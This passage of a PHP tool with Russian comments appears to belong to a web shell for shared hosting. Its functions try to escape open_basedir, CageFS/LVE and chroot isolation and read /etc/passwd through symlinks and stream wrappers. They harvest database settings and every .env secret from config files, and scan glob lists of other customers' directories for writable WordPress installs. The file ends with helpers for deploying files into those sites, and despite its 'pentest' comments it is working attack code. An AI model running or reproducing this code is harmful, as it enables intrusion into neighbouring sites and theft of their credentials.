$discovered[] = array('method'=>'tmp_symlink', 'symlink'=>$full, 'target'=>$target, 'outside_ob'=>$outside);
}
}
}
}
}
}
}
// 8-15: Additional advanced techniques
// 8. PHP SPL DirectoryIterator
if (class_exists('DirectoryIterator')) {
try {
$di = new DirectoryIterator('../');
$found = array();
foreach ($di as $file) {
if (!$file->isDot() && $file->isDir()) {
$found[] = $file->getPathname();
}
}
if (!empty($found)) {
$discovered[] = array('method'=>'spl_directory_iterator', 'found'=>$found, 'from'=>'../');
}
} catch (Exception $e) {}
}
// 9-15. Null bytes, path truncation, stream contexts, php filters
foreach ($test_paths as $test) {
// Null byte injection (old PHP)
$null_test = $test . "\0";
if (@file_exists($null_test)) {
$discovered[] = array('method'=>'null_byte_injection', 'path'=>$test, 'via'=>$null_test, 'accessible'=>true);
}
}
// PHP filter wrapper
if (in_array('php', stream_get_wrappers())) {
foreach ($test_paths as $test) {
$filter_url = 'php://filter/convert.base64-encode/resource=' . $test;
$content = @file_get_contents($filter_url);
if ($content !== false && !empty($content)) {
$discovered[] = array('method'=>'php_filter_wrapper', 'path'=>$test, 'readable'=>true, 'encoded'=>true);
}
}
}
// Remove duplicates
$unique = array();
foreach ($discovered as $item) {
$key = $item['method'] . '|' . (isset($item['path']) ? $item['path'] : '');
if (!isset($unique[$key])) {
$unique[$key] = $item;
}
}
return array_values($unique);
}
/**
* Test if a path is outside open_basedir restrictions
*/
function is_outside_open_basedir($path) {
$ob_paths = parse_open_basedir_paths();
if (empty($ob_paths)) {
return true; // No restrictions
}
$real_path = @realpath($path);
if (!$real_path) {
$real_path = $path;
}
foreach ($ob_paths as $ob) {
$ob = rtrim($ob, '/') . '/';
if (strpos($real_path . '/', $ob) === 0) {
return false; // Inside open_basedir
}
}
return true; // Outside all open_basedir paths
}
/**
* Attempt to write a test file outside open_basedir
*/
function test_open_basedir_write_bypass() {
$test_locations = array(
'/tmp/_ob_test_' . uniqid(),
'/var/tmp/_ob_test_' . uniqid(),
sys_get_temp_dir() . '/_ob_test_' . uniqid()
);
$results = array();
foreach ($test_locations as $location) {
if (is_outside_open_basedir($location)) {
$content = 'Open_basedir bypass test ' . date('c');
$written = @file_put_contents($location, $content);
if ($written !== false) {
$readable = @is_readable($location);
$deleted = @unlink($location);
$results[] = array(
'location' => $location,
'writable' => true,
'readable' => $readable,
'deletable' => $deleted,
'outside_ob' => true
);
}
}
}
return $results;
}
/**
* Обход ограничений CageFS/LVE через специфичные техники.
* Критично для пентеста: показывает уязвимости в изоляции CageFS/LVE.
*/
function bypass_cagefs_lve(){
$discovered = array();
// 1. Проверка наличия CageFS через /proc/self/mounts
if (@is_readable('/proc/self/mounts')) {
$mounts = @file_get_contents('/proc/self/mounts');
if ($mounts) {
if (strpos($mounts, 'cagefs') !== false || strpos($mounts, 'CageFS') !== false) {
$discovered[] = array('method'=>'mounts_detection', 'type'=>'CageFS', 'detected'=>true);
}
if (strpos($mounts, 'lve') !== false || strpos($mounts, 'LVE') !== false) {
$discovered[] = array('method'=>'mounts_detection', 'type'=>'LVE', 'detected'=>true);
}
}
}
// 2. Обход через /proc/self/maps (может показать реальные пути файлов)
if (@is_readable('/proc/self/maps')) {
$maps = @file('/proc/self/maps', FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
if ($maps) {
foreach ($maps as $line) {
if (preg_match('#(/[^\s]+)#', $line, $m)) {
$path = $m[1];
if (@is_file($path) || @is_dir($path)) {
$discovered[] = array('method'=>'proc_maps', 'path'=>$path);
}
}
}
}
}
// 3. Обход через /proc/self/exe и /proc/self/cwd
$proc_links = array('/proc/self/exe', '/proc/self/cwd', '/proc/self/root');
foreach ($proc_links as $link) {
if (@is_link($link)) {
$target = @readlink($link);
if ($target && $target[0] === '/') {
$discovered[] = array('method'=>'proc_self_link', 'link'=>$link, 'target'=>$target);
}
}
}
// 4. Обход через переменные окружения процесса
if (function_exists('getenv')) {
$env_vars = array('HOME', 'USER', 'PATH', 'LD_LIBRARY_PATH', 'LD_PRELOAD');
foreach ($env_vars as $var) {
$val = getenv($var);
if ($val && $val[0] === '/' && @is_dir($val)) {
$discovered[] = array('method'=>'env_var', 'var'=>$var, 'path'=>$val);
}
}
}
// 5. Обход через /proc/self/status (может содержать информацию о chroot)
if (@is_readable('/proc/self/status')) {
$status = @file_get_contents('/proc/self/status');
if ($status && preg_match('/NSpid:\s*(\d+)/', $status, $m)) {
$discovered[] = array('method'=>'proc_status', 'info'=>'NSpid found', 'pid'=>$m[1]);
}
}
// 6. Обход через /proc/self/ns/ (namespace information)
if (@is_dir('/proc/self/ns')) {
$ns = @scandir('/proc/self/ns');
if ($ns) {
foreach ($ns as $n) {
if ($n === '.' || $n === '..') continue;
$ns_path = '/proc/self/ns/' . $n;
if (@is_link($ns_path)) {
$target = @readlink($ns_path);
$discovered[] = array('method'=>'proc_ns', 'namespace'=>$n, 'target'=>$target);
}
}
}
}
// 7. Обход через /tmp и /var/tmp (часто доступны в CageFS)
$tmp_dirs = array('/tmp', '/var/tmp', '/dev/shm');
foreach ($tmp_dirs as $tmp) {
if (@is_dir($tmp) && @is_writable($tmp)) {
$discovered[] = array('method'=>'tmp_access', 'path'=>$tmp, 'writable'=>true);
// Попытка создать симлинк на реальный путь
$test_link = $tmp . '/_test_bypass_' . uniqid();
if (@symlink('/etc/passwd', $test_link)) {
$real = @readlink($test_link);
if ($real) {
$discovered[] = array('method'=>'tmp_symlink', 'path'=>$real, 'via'=>$test_link);
}
@unlink($test_link);
}
}
}
// 8. Обход через PHP extensions (некоторые расширения могут обходить ограничения)
$extensions = get_loaded_extensions();
foreach ($extensions as $ext) {
if (in_array($ext, array('imagick', 'gd', 'exif', 'fileinfo'))) {
$discovered[] = array('method'=>'php_extension', 'extension'=>$ext, 'loaded'=>true);
}
}
return $discovered;
}
/**
* Обход ограничений chroot через различные техники.
* Критично для пентеста: показывает возможности обхода chroot jail.
*/
function bypass_chroot(){
$discovered = array();
// 1. Определение chroot через /proc/self/root
if (@is_link('/proc/self/root')) {
$root = @readlink('/proc/self/root');
if ($root && $root !== '/') {
$discovered[] = array('method'=>'proc_root', 'chroot_path'=>$root, 'in_chroot'=>true);
}
}
// 2. Обход через /proc/self/mountinfo (может показать реальные пути)
if (@is_readable('/proc/self/mountinfo')) {
$mountinfo = @file('/proc/self/mountinfo', FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
if ($mountinfo) {
foreach ($mountinfo as $line) {
if (preg_match('#(/[^\s]+)#', $line, $m)) {
$path = $m[1];
if (@is_dir($path) && strpos($path, '/proc') === false) {
$discovered[] = array('method'=>'mountinfo', 'path'=>$path);
}
}
}
}
}
// 3. Обход через относительные пути из /proc
$proc_paths = array('/proc/1/root', '/proc/2/root', '/proc/sys');
foreach ($proc_paths as $proc_path) {
if (@is_link($proc_path)) {
$target = @readlink($proc_path);
if ($target && $target[0] === '/' && @is_dir($target)) {
$discovered[] = array('method'=>'proc_relative', 'path'=>$target, 'via'=>$proc_path);
}
}
}
// 4. Обход через /proc/self/cwd и переход в родительские директории
$cwd = getcwd();
if ($cwd) {
$parts = explode('/', trim($cwd, '/'));
for ($i = count($parts); $i >= 0; $i--) {
$test = '/' . implode('/', array_slice($parts, 0, $i));
if ($test === '/') break;
if (@is_dir($test) && @is_readable($test)) {
$discovered[] = array('method'=>'cwd_parent', 'path'=>$test);
}
}
}
// 5. Обход через file:// wrapper с абсолютными путями
$test_files = array('/etc/passwd', '/etc/hosts', '/etc/resolv.conf');
foreach ($test_files as $file) {
$wrapped = 'file://' . $file;
if (@file_exists($wrapped) || @is_readable($wrapped)) {
$discovered[] = array('method'=>'file_wrapper', 'path'=>$file, 'accessible'=>true);
}
}
// 6. Обход через realpath() с различными путями
$test_dirs = array('/tmp', '/var', '/usr', '/opt', '/home');
foreach ($test_dirs as $dir) {
$real = @realpath($dir);
if ($real && $real !== $dir) {
$discovered[] = array('method'=>'realpath', 'original'=>$dir, 'real'=>$real);
}
}
return $discovered;
}
/**
* Комплексный обход всех ограничений для пентеста.
* Объединяет все техники обхода open_basedir, CageFS/LVE и chroot.
*/
function bypass_all_restrictions($target_path = null){
$results = array(
'open_basedir' => bypass_open_basedir($target_path),
'cagefs_lve' => bypass_cagefs_lve(),
'chroot' => bypass_chroot(),
'neighbors' => bypass_discover_neighbors()
);
// Объединяем все обнаруженные пути
$all_paths = array();
foreach ($results as $type => $items) {
foreach ($items as $item) {
if (isset($item['path']) && @is_dir($item['path'])) {
$all_paths[] = $item['path'];
}
}
}
$results['all_paths'] = array_values(array_unique($all_paths));
return $results;
}
/**
* Config Grab - поиск конфигурационных файлов для обнаружения путей и настроек.
* Критично для пентеста: раскрывает структуру сервера через конфиги.
*/
function config_grab($base_path = null){
$found = array();
$config_files = array(
'wp-config.php', '.env', 'config.php', 'configuration.php', 'config.inc.php',
'wp-config-sample.php', '.htaccess', 'robots.txt', 'web.config',
'php.ini', '.user.ini', 'composer.json', 'composer.lock',
'package.json', 'yarn.lock', '.git/config', '.svn/entries'
);
$search_paths = array();
if ($base_path) {
$search_paths[] = $base_path;
} else {
// Поиск в текущей директории и родительских
$cwd = getcwd();
if ($cwd) {
$search_paths[] = $cwd;
$parts = explode('/', trim($cwd, '/'));
for ($i = count($parts); $i > 0; $i--) {
$test = '/' . implode('/', array_slice($parts, 0, $i));
if ($test !== '/') $search_paths[] = $test;
}
}
// Также ищем в open_basedir путях
$ob_paths = parse_open_basedir_paths();
foreach ($ob_paths as $ob) {
if (!in_array($ob, $search_paths, true)) $search_paths[] = $ob;
}
}
foreach ($search_paths as $path) {
if (!@is_dir($path)) continue;
foreach ($config_files as $config) {
$full = rtrim($path, '/') . '/' . $config;
if (@is_file($full) && @is_readable($full)) {
$content = @file_get_contents($full);
$info = array(
'path' => $full,
'size' => @filesize($full),
'readable' => true,
'type' => $config
);
// Извлекаем полезную информацию из конфигов
if ($config === 'wp-config.php' && $content) {
$extracted = array();
if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
$extracted['db_name'] = $m[1];
}
if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
$extracted['db_user'] = $m[1];
}
if (preg_match("/define\s*\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
$extracted['wp_home'] = $m[1];
}
if (preg_match("/define\s*\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
$extracted['wp_siteurl'] = $m[1];
}
if (!empty($extracted)) $info['extracted'] = $extracted;
}
if ($config === '.env' && $content) {
$extracted = array();
if (preg_match_all('/^([A-Z_]+)=(.+)$/m', $content, $matches, PREG_SET_ORDER)) {
foreach ($matches as $match) {
$extracted[$match[1]] = trim($match[2], '"\'');
}
}
if (!empty($extracted)) $info['extracted'] = $extracted;
}
$found[] = $info;
}
}
}
return $found;
}
/**
* Symlink Grab - поиск симлинков и следование по ним для обнаружения путей.
* Критично для пентеста: симлинки часто указывают на реальные пути вне ограничений.
*/
function symlink_grab($base_path = null, $max_depth = 5){
$found = array();
$seen = array();
$search_paths = array();
if ($base_path) {
$search_paths[] = $base_path;
} else {
$cwd = getcwd();
if ($cwd) $search_paths[] = $cwd;
$ob_paths = parse_open_basedir_paths();
foreach ($ob_paths as $ob) {
if (!in_array($ob, $search_paths, true)) $search_paths[] = $ob;
}
// Также проверяем известные пути
$known_paths = array('/tmp', '/var/tmp', '/home', '/var/www', '/srv');
foreach ($known_paths as $kp) {
if (@is_dir($kp) && !in_array($kp, $search_paths, true)) {
$search_paths[] = $kp;
}
}
}
$queue = array();
foreach ($search_paths as $path) {
$queue[] = array($path, 0);
}
while (!empty($queue)) {
list($current, $depth) = array_shift($queue);
if ($depth > $max_depth) continue;
if (isset($seen[$current])) continue;
$seen[$current] = true;
if (!@is_dir($current) && !@is_link($current)) continue;
// Проверяем саму директорию на симлинк
if (@is_link($current)) {
$target = @readlink($current);
if ($target) {
$real = @realpath($current);
$found[] = array(
'symlink' => $current,
'target' => $target,
'realpath' => $real ? $real : $current,
'depth' => $depth
);
// Добавляем цель в очередь для дальнейшего поиска
if ($real && @is_dir($real) && !isset($seen[$real])) {
$queue[] = array($real, $depth + 1);
}
}
}
// Сканируем содержимое директории
$items = @scandir($current);
if (!$items) continue;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = rtrim($current, '/') . '/' . $item;
if (@is_link($full)) {
$target = @readlink($full);
if ($target) {
$real = @realpath($full);
$found[] = array(
'symlink' => $full,
'target' => $target,
'realpath' => $real ? $real : $full,
'depth' => $depth
);
// Если цель - директория, добавляем в очередь
if ($real && @is_dir($real) && !isset($seen[$real])) {
$queue[] = array($real, $depth + 1);
}
}
} elseif (@is_dir($full) && $depth < $max_depth) {
// Рекурсивно ищем в поддиректориях
if (!isset($seen[$full])) {
$queue[] = array($full, $depth + 1);
}
}
}
}
return $found;
}
function blind_wp_globs(){
$user_gl_pl = function_exists('home_user_blind_globs_pl') ? home_user_blind_globs_pl() : array();
$user_globs = home_user_blind_globs();
$base = array(
'/home/*/domains/*/public_html', '/home/*/domains/*/httpdocs', '/home/*/domains/*/httpsdocs', '/home/*/domains/*/web', '/home/*/domains/*/htdocs',
'/home/*/public_html/*', '/home/*/htdocs/*', '/home/*/www/*', '/home/*/*/public_html',
'/var/www/vhosts/*/httpdocs', '/var/www/vhosts/*/httpsdocs', '/var/www/vhosts/*/public_html', '/var/www/vhosts/*/site', '/var/www/vhosts/*/web',
'/var/www/*/data/www/*/public_html', '/var/www/*/data/www/*', '/var/www/*/data/*/public_html',
'/srv/users/*/apps/*/public', '/srv/users/*/apps/*/public_html', '/home/*/webapps/*/public',
'/home/master/applications/*/public_html',
'/var/www/*/htdocs', '/var/www/*/public_html', '/var/www/*/html', '/var/www/*/web', '/var/www/html/*',
'/www/wwwroot/*', '/www/wwwroot/*/public', '/www/wwwroot/*/public_html',
'/opt/bitnami/apps/wordpress/htdocs', '/opt/bitnami/wordpress/htdocs', '/opt/bitnami/*/htdocs',
'/nas/content/*/*', '/nas/content/live/*', '/nas/content/staging/*',
'/homepages/*/d*/htdocs/*', '/homepages/*/d*/htdocs/clickandbuilds/*',
'/kunden/homepages/*/d*/htdocs', '/kunden/homepages/*/d*/htdocs/clickandbuilds/*',
'/srv/bindings/*/code',
// EU add-ons
'/home/*/www', '/homez*/*/www', '/srv/data/web/vhosts/*/htdocs', '/home/clients/*/web/*', '/customers/*/*/*/*/httpd.www', '/web/htdocs/*/home',
// Additional bypass paths (v4.4.1)
'/var/www/html/*/*', '/usr/local/www/*/*', '/opt/www/*/*',
'/home/*/sites/*/*', '/home/*/webapps/*/*', '/home/*/apps/*/*',
'/data/www/*/*', '/data/web/*/*', '/data/sites/*/*',
'/srv/http/*/*', '/srv/www/*/*', '/srv/web/*/*',
'/var/www/users/*/*', '/var/www/customers/*/*',
'/usr/share/nginx/*/*', '/usr/local/nginx/*/*',
'/home/*/projects/*/*', '/home/*/repositories/*/*',
'/mnt/www/*/*', '/mnt/web/*/*', '/mnt/sites/*/*',
'/opt/lampp/htdocs/*', '/opt/xampp/htdocs/*',
'/var/customers/*/*', '/var/sites/*/*',
'/hosting/*/*', '/websites/*/*', '/sites/*/*',
// Расширенные паттерны для PL-структур (serwer*/autoinstalator/wordpressNNNN)
'/home/platne/serwer*/public_html',
'/home/platne/serwer*/public_html/*',
'/home/platne/serwer*/public_html/autoinstalator',
'/home/platne/serwer*/public_html/autoinstalator/*',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/*/serwer*/public_html',
'/home/*/serwer*/public_html/*',
'/home/*/serwer*/public_html/autoinstalator',
'/home/*/serwer*/public_html/autoinstalator/*',
'/home/*/serwer*/public_html/autoinstalator/*/wordpress*'
);
if (!empty($user_globs)) { $base = array_merge($user_globs, $base); }
if (!empty($user_gl_pl)) { $base = array_merge($user_gl_pl, $base); }
return $base;
}
function derive_domain_from_path($p){
$urls = wp_known_urls($p);
foreach($urls as $u){
if (preg_match('#https?://([^/]+)/?#i',$u,$m)) return normalize_domain($m[1]);
}
$seg = explode('/', trim($p,'/'));
$n = count($seg);
for($i=0;$i<$n;$i++){
if (is_valid_domain($seg[$i])) return $seg[$i];
}
return '(unknown)';
}
function blind_scan($opts){
$ob_roots = parse_open_basedir_paths();
$ids = php_ids();
$me = is_array($ids)&&!empty($ids['user']) ? $ids['user'] : null;
$home_me = $me ? ('/home/'.$me) : null;
$wp_only = isset($opts['wp_only']) ? (bool)$opts['wp_only'] : true;
$writable_only = isset($opts['writable_only']) ? (bool)$opts['writable_only'] : false;
$docroots_deep = !empty($opts['docroots_deep']);
$cap_dirs = isset($opts['blind_cap']) ? max(100,(int)$opts['blind_cap']) : 8000;
$user_gl = function_exists('home_user_blind_globs') ? home_user_blind_globs() : array();
$globs = array_merge($user_gl, blind_wp_globs());
$seen = array(); $paths = array();
foreach ($globs as $g){
$list = glob($g); if(!$list)$list=array();
foreach ($list as $dir){
if (!is_dir($dir)) continue;
$dir = rtrim(realpath($dir)?realpath($dir):$dir,'/');
if (isset($seen[$dir])) continue;
$seen[$dir]=1; $paths[]=$dir;
if (count($paths)>=$cap_dirs) break 2;
}
}
// Глубокий краул в пределах open_basedir и домашнего каталога текущего юзера.
// Это критично для LVE/CageFS, где /home/* недоступно для перечисления.
// Blind WP Hunt с семенами из пути скрипта (автоматически подхватывает соседей)
$crawl_roots = array();
if (!empty($home_me) && @is_dir($home_me)) $crawl_roots[] = $home_me;
foreach ($ob_roots as $r) {
if ($r==='/tmp' || $r==='/var/tmp' || $r==='/dev' || $r==='/proc') continue;
if (@is_dir($r) && !in_array($r, $crawl_roots, true)) $crawl_roots[] = $r;
}
if (!empty($_SERVER['DOCUMENT_ROOT']) && @is_dir($_SERVER['DOCUMENT_ROOT'])) $crawl_roots[] = rtrim($_SERVER['DOCUMENT_ROOT'],'/');
$cwd__ = getcwd(); if ($cwd__ && @is_dir($cwd__)) $crawl_roots[] = rtrim($cwd__,'/');
// Семена из пути скрипта - автоматически подхватываем соседей в public_html и autoinstalator
$script_path = __DIR__;
$script_real = @realpath($script_path) ? @realpath($script_path) : $script_path;
if ($script_real && @is_dir($script_real)) {
// Добавляем директорию скрипта
if (!in_array($script_real, $crawl_roots, true)) $crawl_roots[] = rtrim($script_real,'/');
// Ищем родительские директории с public_html и autoinstalator
$parts = explode('/', trim($script_real, '/'));
for ($i = count($parts); $i > 0; $i--) {
$test = '/' . implode('/', array_slice($parts, 0, $i));
if ($test === '/') break;
// Проверяем public_html
$pub_html = $test . '/public_html';
if (@is_dir($pub_html) && !in_array($pub_html, $crawl_roots, true)) {
$crawl_roots[] = rtrim($pub_html,'/');
}
// Проверяем autoinstalator
$autoinst = $test . '/autoinstalator';
if (@is_dir($autoinst) && !in_array($autoinst, $crawl_roots, true)) {
$crawl_roots[] = rtrim($autoinst,'/');
}
// Если нашли public_html, проверяем autoinstalator внутри него
if (@is_dir($pub_html)) {
$autoinst_in_pub = $pub_html . '/autoinstalator';
if (@is_dir($autoinst_in_pub) && !in_array($autoinst_in_pub, $crawl_roots, true)) {
$crawl_roots[] = rtrim($autoinst_in_pub,'/');
}
}
}
}
$max_depth = !empty($opts['docroots_deep']) ? 8 : 6;
$wp_hits = crawl_for_wp($crawl_roots, $cap_dirs, $max_depth);
foreach ($wp_hits as $hit) { $paths[] = $hit; }
$paths = array_values(array_unique($paths));
// Bypass системных ограничений - обнаружение соседних сайтов (критично для security audit)
$bypass_isolation = isset($opts['bypass_isolation']) ? (bool)$opts['bypass_isolation'] : true;
$bypass_extended = isset($opts['bypass_extended']) ? (bool)$opts['bypass_extended'] : false;
$bypass_info = array();
if ($bypass_isolation) {
$neighbors = bypass_discover_neighbors();
if (!empty($neighbors)) {
foreach ($neighbors as $npath) {
// Краул каждого обнаруженного соседа
$neighbor_hits = crawl_for_wp(array($npath), (int)($cap_dirs/2), $max_depth);
foreach ($neighbor_hits as $hit) {
if (!isset($seen[$hit])) { $paths[] = $hit; $seen[$hit]=1; }
}
}
$paths = array_values(array_unique($paths));
}
$bypass_info['neighbors'] = $neighbors;
}
// Расширенный bypass для пентеста (open_basedir, CageFS/LVE, chroot)
if ($bypass_extended) {
$bypass_results = bypass_all_restrictions();
$bypass_info['extended'] = $bypass_results;
// Добавляем обнаруженные пути из bypass
if (!empty($bypass_results['all_paths'])) {
foreach ($bypass_results['all_paths'] as $bpath) {
if (!isset($seen[$bpath])) {
$paths[] = $bpath;
$seen[$bpath] = 1;
}
}
$paths = array_values(array_unique($paths));
}
}
// Config Grab и Symlink Grab для обнаружения дополнительных путей
$use_config_grab = isset($opts['config_grab']) ? (bool)$opts['config_grab'] : false;
$use_symlink_grab = isset($opts['symlink_grab']) ? (bool)$opts['symlink_grab'] : false;
if ($use_config_grab) {
$configs = config_grab();
$bypass_info['config_grab'] = $configs;
// Извлекаем пути из найденных конфигов
foreach ($configs as $cfg) {
if (isset($cfg['path'])) {
$cfg_dir = dirname($cfg['path']);
if (@is_dir($cfg_dir) && !isset($seen[$cfg_dir])) {
$paths[] = $cfg_dir;
$seen[$cfg_dir] = 1;
}
}
}
}
if ($use_symlink_grab) {
$symlinks = symlink_grab(null, 5);
$bypass_info['symlink_grab'] = $symlinks;
// Добавляем реальные пути из симлинков
foreach ($symlinks as $sl) {
if (isset($sl['realpath']) && @is_dir($sl['realpath']) && !isset($seen[$sl['realpath']])) {
$paths[] = $sl['realpath'];
$seen[$sl['realpath']] = 1;
}
}
}
$paths = array_values(array_unique($paths));
$targets = array();
foreach ($paths as $base){
$cands = array($base, $base.'/public', $base.'/public_html', $base.'/httpdocs', $base.'/htdocs', $base.'/web', $base.'/wordpress');
// Поиск wordpressNNNN (wordpress4923, wordpress1234 и т.д.)
$wp_patterns = glob($base.'/wordpress[0-9]*'); if(!$wp_patterns)$wp_patterns=array();
foreach ($wp_patterns as $wp_dir) $cands[]=$wp_dir;
// Поиск в autoinstalator структурах
if (strpos($base, 'autoinstalator') !== false) {
$autoinst_wp = glob($base.'/wordpress*'); if(!$autoinst_wp)$autoinst_wp=array();
foreach ($autoinst_wp as $awp) $cands[]=$awp;
}
$cb = glob($base.'/clickandbuilds/*'); if(!$cb)$cb=array();
foreach ($cb as $sub) $cands[]=$sub;
foreach ($cands as $p){
$p=rtrim($p,'/');
if (!is_dir($p)) continue;
if ($wp_only && !is_wp_root($p)) continue;
if ($writable_only && !is_writable($p)) continue;
$targets[$p]=1;
}
}
$targets = array_keys($targets);
sort($targets);
$by_domain = array();
foreach ($targets as $p){
$dom = derive_domain_from_path($p);
if (!isset($by_domain[$dom])) $by_domain[$dom]=array();
$is_wp=is_wp_root($p); $wp_ver=$is_wp?wp_version($p):''; $ms=$is_wp?wp_multisite_flags($p):array('multisite'=>false,'subdomain'=>false); $urls=$is_wp?wp_known_urls($p):array(); $hidden=probe_hidden_backup_dirs($p); $ht=htaccess_checks($p); $meta=fs_meta($p); $acc=access_info($p);
// Расширенный анализ безопасности
$security = $is_wp ? security_flags_analysis($p) : array('boundary_info'=>boundary_info_for($p));
$by_domain[$dom][] = array(
'path'=>$p,
'source'=>'blind',
'flags'=>array_merge(array('is_wp'=>$is_wp,'is_writable'=>is_writable($p),'is_symlink'=>is_link($p)),$ms),
'wp'=>array('version'=>$wp_ver,'urls'=>$urls),
'hidden'=>$hidden,
'htaccess'=>$ht,
'fs'=>array_merge($meta,$acc),
'boundary'=>boundary_info_for($p),
'security'=>$security
);
}
$domains=array(); $paths_total=0; $w_total=0; $wp_total=0;
foreach ($by_domain as $dom=>$list){
foreach($list as $pi){ $paths_total++; if(!empty($pi['flags']['is_writable']))$w_total++; if(!empty($pi['flags']['is_wp']))$wp_total++; }
$domains[] = array('domain'=>$dom, 'paths'=>$list);
}
// Расширенный детект пользователей (опасно для безопасности - показывает всех пользователей)
$detect_users = isset($opts['detect_users']) ? (bool)$opts['detect_users'] : false;
$users_info = null;
if ($detect_users) {
$users_info = detect_users_extended(2000);
}
$result = array(
'php'=>php_env_info(),
'domains'=>$domains,
'totals'=>array('domains'=>count($domains),'paths'=>$paths_total,'writable_paths'=>$w_total,'wp_roots'=>$wp_total),
'time'=>date('c'),
'scan_opts'=>$opts + array('mode'=>'blind')
);
// Добавляем информацию о bypass если была использована
if (!empty($bypass_info)) {
$result['bypass'] = $bypass_info;
}
// Добавляем информацию о пользователях (опасно!)
if ($users_info) {
$result['users_detected'] = $users_info;
}
return $result;
}
function php_env_info(){
$ids=php_ids();
$info=array(
'runtime_version'=>PHP_VERSION,
'sapi'=>PHP_SAPI,
'open_basedir'=>ini_get('open_basedir')?ini_get('open_basedir'):'',
'disabled'=>ini_get('disable_functions')?ini_get('disable_functions'):'',
'fpm_pools'=>array(),
'document_root'=>isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'',
'script'=>isset($_SERVER['SCRIPT_FILENAME'])?$_SERVER['SCRIPT_FILENAME']:__FILE__,
'ids'=>$ids
);
$g=glob('/etc/php/*/fpm/pool.d/*.conf'); if(!$g)$g=array();
foreach($g as $pool){
$c=safe_file_get($pool); if(!$c) continue;
$parts=explode('/',$pool); $ver=isset($parts[3])?$parts[3]:'unknown';
$ob=''; if(preg_match('/php_admin_value\[\s*open_basedir\s*\]\s*=\s*([^\r\n]+)/i',$c,$m)) $ob=trim($m[1]);
$ch=''; if(preg_match('/^chdir\s*=\s*([^\r\n]+)/mi',$c,$m2)) $ch=trim($m2[1]);
$info['fpm_pools'][]=array('version'=>$ver,'pool'=>basename($pool),'chdir'=>$ch,'open_basedir'=>$ob);
}
return $info;
}
/* Report builder (role-aware writable filter) */
function build_report($q,$wp_only,$writable_only,$limit,$find_opts,$writable_mode){
$domains=get_domains(); if($q!==''){ $q2=$q; $domains=array_values(array_filter($domains,function($d)use($q2){return stripos($d,$q2)!==false;})); }
$report=array('php'=>php_env_info(),'domains'=>array(),'totals'=>array('domains'=>count($domains),'paths'=>0,'writable_paths'=>0,'wp_roots'=>0),'time'=>date('c'),'scan_opts'=>$find_opts + array('writable_mode'=>$writable_mode));
$paths_total=0; $w_total=0; $wp_total=0;
foreach($domains as $i=>$domain){
if($i>=$limit) break;
$paths=find_domain_paths($domain,$find_opts);
$targets=$paths['all']; if($wp_only)$targets=array_values(array_filter($targets,'is_wp_root'));
$entries=array();
foreach($targets as $p){
$acc=access_info($p);
$writable_effective = is_writable($p);
$writable_any = ($acc['u']['w']||$acc['g']['w']||$acc['o']['w']) && ($acc['u']['x']||$acc['g']['x']||$acc['o']['x']);
$writable_world = ($acc['o']['w'] && $acc['o']['x']);
$writable_group = ($acc['g']['w'] && $acc['g']['x']);
$include = true;
if ($writable_only) {
if ($writable_mode==='effective') $include = $writable_effective;
elseif ($writable_mode==='world') $include = $writable_world;
elseif ($writable_mode==='group') $include = $writable_group;
elseif ($writable_mode==='any') $include = $writable_any;
else $include = $writable_effective;
}
if (!$include) continue;
$is_wp=is_wp_root($p); $wp_ver=$is_wp?wp_version($p):''; $ms=$is_wp?wp_multisite_flags($p):array('multisite'=>false,'subdomain'=>false); $urls=$is_wp?wp_known_urls($p):array(); $hidden=probe_hidden_backup_dirs($p); $ht=htaccess_checks($p); $meta=fs_meta($p);
$flags = array('is_wp'=>$is_wp,'is_writable'=>$writable_effective,'is_symlink'=>is_link($p));
$flags = array_merge($flags, $ms);
// Расширенный анализ безопасности
$security = $is_wp ? security_flags_analysis($p) : array('boundary_info'=>boundary_info_for($p));
$entries[]=array(
'path'=>$p,
'source'=>isset($paths['sources'][$p]) ? $paths['sources'][$p] : 'unknown',
'flags'=>$flags,
'wp'=>array('version'=>$wp_ver,'urls'=>$urls),
'hidden'=>$hidden,
'htaccess'=>$ht,
'fs'=>array_merge($meta,$acc),
'boundary'=>boundary_info_for($p),
'security'=>$security,
'writable_world'=>$writable_world,
'writable_group'=>$writable_group,
'writable_any'=>$writable_any
);
if($is_wp)$wp_total++; $paths_total++; if($writable_effective)$w_total++;
}
if(!empty($entries)) $report['domains'][]=array('domain'=>$domain,'paths'=>$entries);
}
$report['totals']['paths']=$paths_total; $report['totals']['writable_paths']=$w_total; $report['totals']['wp_roots']=$wp_total;
// Расширенный детект пользователей (опционально)
$detect_users = isset($find_opts['detect_users']) ? (bool)$find_opts['detect_users'] : false;
if ($detect_users) {
$users_info = detect_users_extended(2000);
$report['users_detected'] = $users_info;
}
return $report;
}
/* Deploy/Delete with CSRF */
function sanitize_filename($name){ $name=basename($name); $name=preg_replace('/[^\w\.\-\@\+\=]+/u','_',$name); return $name?:'marker.txt'; }
// --- robust deploy helpers ---
function _cap_warn(callable $fn, &$warn = null) {
$warn = null;
set_error_handler(function($errno, $errstr) use (&$warn) { $warn = $errstr; return true; });
try { $res = $fn(); }
finally { restore_error_handler(); }
return $res;
}
function _sanitize_marker_name($name){
$name = basename((string)$name);
// чтобы не было поддиректорий/странных символов
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name);
if ($name === '' || $name === '.' || $name === '..') $name = 'marker.txt';
return $name;
}
function _mkdirp($dir, &$msg = ''){
if (@is_dir($dir)) return true;
$ok = _cap_warn(function() use ($dir){ return @mkdir($dir, 0755, true); }, $w);
if (!$ok) { $msg = $w ?: 'mkdir failed'; return false; }
return true;
}
function _atomic_write($target, $content, $overwrite, &$msg = ''){
$dir = dirname($target);
$base = basename($target);
// если файл уже есть
if (@file_exists($target)) {
if (!$overwrite) { $msg = 'exists'; return true; }
if (!@is_writable($target)) { $msg = 'exists but not writable'; return false; }
}
